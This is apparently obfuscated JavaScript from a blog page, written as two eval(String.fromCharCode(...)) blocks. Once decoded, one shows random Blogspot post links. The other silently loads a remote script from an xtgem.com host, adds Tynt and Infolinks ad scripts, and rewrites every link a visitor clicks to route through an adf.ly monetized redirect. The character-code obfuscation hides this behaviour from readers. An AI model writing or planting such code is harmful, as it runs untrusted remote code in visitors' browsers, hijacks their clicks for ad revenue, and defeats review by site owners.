eval(String.fromCharCode(101,118,97,108,40,102,117,110,99,116,105,111,110,40,112,44,97,44,99,44,107,44,101,44,114,41,123,101,61,102,117,110,99,116,105,111,110,40,99,41,123,114,101,116,117,114,110,40,99,60,97,63,39,39,58,101,40,112,97,114,115,101,73,110,116,40,99,47,97,41,41,41,43,40,40,99,61,99,37,97,41,62,51,53,63,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,99,43,50,57,41,58,99,46,116,111,83,116,114,105,110,103,40,51,54,41,41,125,59,105,102,40,33,39,39,46,114,101,112,108,97,99,101,40,47,94,47,44,83,116,114,105,110,103,41,41,123,119,104,105,108,101,40,99,45,45,41,114,91,101,40,99,41,93,61,107,91,99,93,124,124,101,40,99,41,59,107,61,91,102,117,110,99,116,105,111,110,40,101,41,123,114,101,116,117,114,110,32,114,91,101,93,125,93,59,101,61,102,117,110,99,116,105,111,110,40,41,123,114,101,116,117,114,110,39,92,92,119,43,39,125,59,99,61,49,125,59,119,104,105,108,101,40,99,45,45,41,105,102,40,107,91,99,93,41,112,61,112,46,114,101,112,108,97,99,101,40,110,101,119,32,82,101,103,69,120,112,40,39,92,92,98,39,43,101,40,99,41,43,39,92,92,98,39,44,39,103,39,41,44,107,91,99,93,41,59,114,101,116,117,114,110,32,112,125,40,39,101,32,98,61,34,34,59,112,32,65,40,41,123,101,32,100,61,103,46,113,40,103,46,114,40,41,42,49,51,41,59,99,40,100,61,61,48,41,123,98,61,34,90,45,45,49,52,34,125,99,40,100,61,61,49,41,123,98,61,34,49,53,45,66,34,125,99,40,100,61,61,50,41,123,98,61,34,49,54,45,49,55,34,125,99,40,100,61,61,51,41,123,98,61,34,49,56,45,49,57,34,125,99,40,100,61,61,52,41,123,98,61,34,49,97,34,125,99,40,100,61,61,53,41,123,98,61,34,49,98,45,67,34,125,99,40,100,61,61,54,41,123,98,61,34,66,45,49,99,34,125,99,40,100,61,61,55,41,123,98,61,34,49,100,45,49,101,34,125,99,40,100,61,61,56,41,123,98,61,34,115,45,49,102,34,125,99,40,100,61,61,57,41,123,98,61,34,49,103,45,49,104,34,125,99,40,100,61,61,49,48,41,123,98,61,34,49,105,34,125,99,40,100,61,61,49,49,41,123,98,61,34,49,106,45,49,107,45,49,108,34,125,99,40,100,61,61,49,50,41,123,98,61,34,49,109,45,49,110,34,125,109,46,110,40,34,60,104,32,68,61,92,39,69,58,47,47,34,43,98,43,34,46,70,46,71,47,72,47,73,47,74,63,38,75,45,76,61,49,38,77,61,108,45,78,45,104,38,79,61,80,92,39,62,60,92,92,47,104,62,34,41,125,112,32,80,40,81,41,123,82,61,81,46,117,46,49,111,36,49,112,46,36,116,59,118,40,101,32,119,61,49,59,119,60,61,49,48,59,119,43,43,41,123,101,32,106,61,103,46,113,40,103,46,114,40,41,42,82,41,59,99,40,106,61,61,48,41,123,106,43,43,125,109,46,110,40,34,60,104,32,68,61,92,39,69,58,47,47,34,43,98,43,34,46,70,46,71,47,72,47,73,47,74,63,49,113,45,49,114,61,34,43,106,43,34,38,75,45,76,61,49,38,77,61,108,45,78,45,104,38,79,61,83,92,39,62,60,92,92,47,104,62,34,41,125,125,109,46,110,40,34,60,111,32,84,61,92,39,49,115,92,39,62,49,116,32,115,45,115,32,67,32,49,117,32,49,118,33,33,60,47,111,62,60,85,47,62,34,41,59,112,32,83,40,108,41,123,118,40,101,32,122,61,49,59,122,60,61,49,59,122,43,43,41,123,101,32,105,61,103,46,113,40,103,46,114,40,41,42,49,41,59,101,32,102,61,108,46,117,46,102,91,105,93,59,101,32,86,61,102,46,49,119,46,36,116,59,101,32,120,59,99,40,105,61,61,108,46,117,46,102,46,87,41,88,59,118,40,101,32,107,61,48,59,107,60,102,46,121,46,87,59,107,43,43,41,99,40,102,46,121,91,107,93,46,49,120,61,61,34,49,121,34,41,123,120,61,102,46,121,91,107,93,46,89,59,88,125,109,46,110,40,34,60,111,32,84,61,92,39,49,122,92,39,62,60,97,32,89,61,92,39,34,43,120,43,34,35,92,39,32,49,65,61,92,39,49,66,92,39,62,34,43,86,43,34,60,47,97,62,60,47,111,62,60,85,47,62,34,41,125,125,65,40,41,59,39,44,54,50,44,49,48,48,44,39,124,124,124,124,124,124,124,124,124,124,124,97,108,109,98,108,111,103,124,105,102,124,106,98,108,111,103,124,118,97,114,124,101,110,116,114,121,124,77,97,116,104,124,115,99,114,105,112,116,124,124,124,124,106,115,111,110,124,100,111,99,117,109,101,110,116,124,119,114,105,116,101,124,102,111,110,116,124,102,117,110,99,116,105,111,110,124,102,108,111,111,114,124,114,97,110,100,111,109,124,97,114,116,105,107,101,108,124,124,102,101,101,100,124,102,111,114,124,97,97,95,98,121,107,124,112,111,115,116,117,114,108,124,108,105,110,107,124,124,114,110,100,98,108,111,103,124,107,97,115,107,117,115,124,109,101,110,97,114,105,107,124,115,114,99,124,104,116,116,112,124,98,108,111,103,115,112,111,116,124,99,111,109,124,102,101,101,100,115,124,112,111,115,116,115,124,115,117,109,109,97,114,121,124,109,97,120,124,114,101,115,117,108,116,115,124,97,108,116,124,105,110,124,99,97,108,108,98,97,99,107,124,97,97,95,114,97,110,100,111,109,95,112,111,115,116,124,114,111,111,116,124,97,100,107,102,106,97,124,97,97,95,116,97,109,112,105,108,124,115,105,122,101,124,98,114,124,112,111,115,116,116,105,116,108,101,124,108,101,110,103,116,104,124,98,114,101,97,107,124,104,114,101,102,124,105,100,101,124,124,124,124,124,103,117,101,124,98,98,124,107,97,98,97,114,124,97,110,101,104,124,116,107,112,124,103,105,108,97,124,98,117,107,97,110,107,108,105,107,117,110,105,99,124,102,111,116,111,124,102,111,114,117,109,124,98,108,111,103,124,115,112,104,101,114,101,124,112,111,112,117,108,101,114,124,107,97,109,97,114,124,97,115,105,107,124,105,100,101,103,117,101,110,101,119,115,124,115,105,116,117,115,124,98,101,114,105,116,97,124,116,101,114,98,97,114,117,124,105,100,101,103,117,101,124,110,101,116,119,111,114,107,124,111,112,101,110,83,101,97,114,99,104,124,116,111,116,97,108,82,101,115,117,108,116,115,124,115,116,97,114,116,124,105,110,100,101,120,124,53,112,116,124,75,117,110,106,117,110,103,105,124,98,101,114,105,107,117,116,124,103,97,110,124,116,105,116,108,101,124,114,101,108,124,97,108,116,101,114,110,97,116,101,124,52,112,116,124,116,97,114,103,101,116,124,95,98,108,97,110,107,39,46,115,112,108,105,116,40,39,124,39,41,44,48,44,123,125,41,41))

eval(String.fromCharCode(105,102,40,100,111,99,117,109,101,110,116,46,108,111,99,97,116,105,111,110,46,112,114,111,116,111,99,111,108,61,61,39,104,116,116,112,58,39,41,123,10,32,118,97,114,32,84,121,110,116,61,84,121,110,116,124,124,91,93,59,84,121,110,116,46,112,117,115,104,40,39,99,56,66,100,87,83,72,102,75,114,51,53,119,104,97,100,98,105,45,98,110,113,39,41,59,84,121,110,116,46,105,61,123,34,97,112,34,58,34,32,34,125,59,10,32,40,102,117,110,99,116,105,111,110,40,41,123,118,97,114,32,115,61,100,111,99,117,109,101,110,116,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,115,46,97,115,121,110,99,61,34,97,115,121,110,99,34,59,115,46,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,59,115,46,115,114,99,61,39,104,116,116,112,58,47,47,116,101,114,98,101,110,103,107,97,108,97,105,46,120,116,103,101,109,46,99,111,109,47,116,101,115,46,106,115,39,59,118,97,114,32,104,61,100,111,99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,115,99,114,105,112,116,39,41,91,48,93,59,104,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,104,41,59,125,41,40,41,59,10,125,10,10,111,110,109,111,117,115,101,100,111,119,110,32,61,32,102,117,110,99,116,105,111,110,32,97,100,102,40,41,123,10,97,100,102,108,121,95,105,100,32,61,32,39,55,48,55,57,52,39,59,10,102,111,114,32,40,118,97,114,32,105,32,61,32,48,59,32,105,32,60,32,100,111,99,117,109,101,110,116,46,108,105,110,107,115,46,108,101,110,103,116,104,59,32,105,43,43,41,32,123,10,32,32,118,97,114,32,104,114,101,102,101,114,32,61,32,100,111,99,117,109,101,110,116,46,108,105,110,107,115,91,105,93,46,104,114,101,102,59,10,32,32,105,102,40,104,114,101,102,101,114,46,109,97,116,99,104,40,34,97,100,102,46,108,121,34,41,32,124,124,32,104,114,101,102,101,114,46,109,97,116,99,104,40,34,35,34,41,41,32,123,10,32,32,32,100,111,99,117,109,101,110,116,46,108,105,110,107,115,91,105,93,46,104,114,101,102,32,61,32,100,111,99,117,109,101,110,116,46,108,105,110,107,115,91,105,93,46,104,114,101,102,59,10,32,32,125,101,108,115,101,123,100,111,99,117,109,101,110,116,46,108,105,110,107,115,91,105,93,46,104,114,101,102,32,61,32,39,104,116,116,112,58,47,47,97,100,102,46,108,121,47,39,32,43,32,97,100,102,108,121,95,105,100,32,43,32,39,47,39,32,43,32,100,111,99,117,109,101,110,116,46,108,105,110,107,115,91,105,93,46,104,114,101,102,59,125,10,125,10,125,10,10,118,97,114,32,105,110,102,111,108,105,110,107,95,112,105,100,32,61,32,50,57,49,49,57,53,59,10,118,97,114,32,105,110,102,111,108,105,110,107,95,119,115,105,100,32,61,32,49,59,10,100,111,99,117,109,101,110,116,46,119,114,105,116,101,40,34,60,115,99,114,34,43,34,105,112,116,32,115,114,99,61,39,104,116,116,112,58,47,47,114,101,115,111,117,114,99,101,115,46,105,110,102,111,108,105,110,107,115,46,99,111,109,47,106,115,47,105,110,102,111,108,105,110,107,115,95,109,97,105,110,46,106,115,39,32,116,121,112,101,61,39,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,39,62,60,47,115,99,114,34,43,34,105,112,116,62,34,41,59))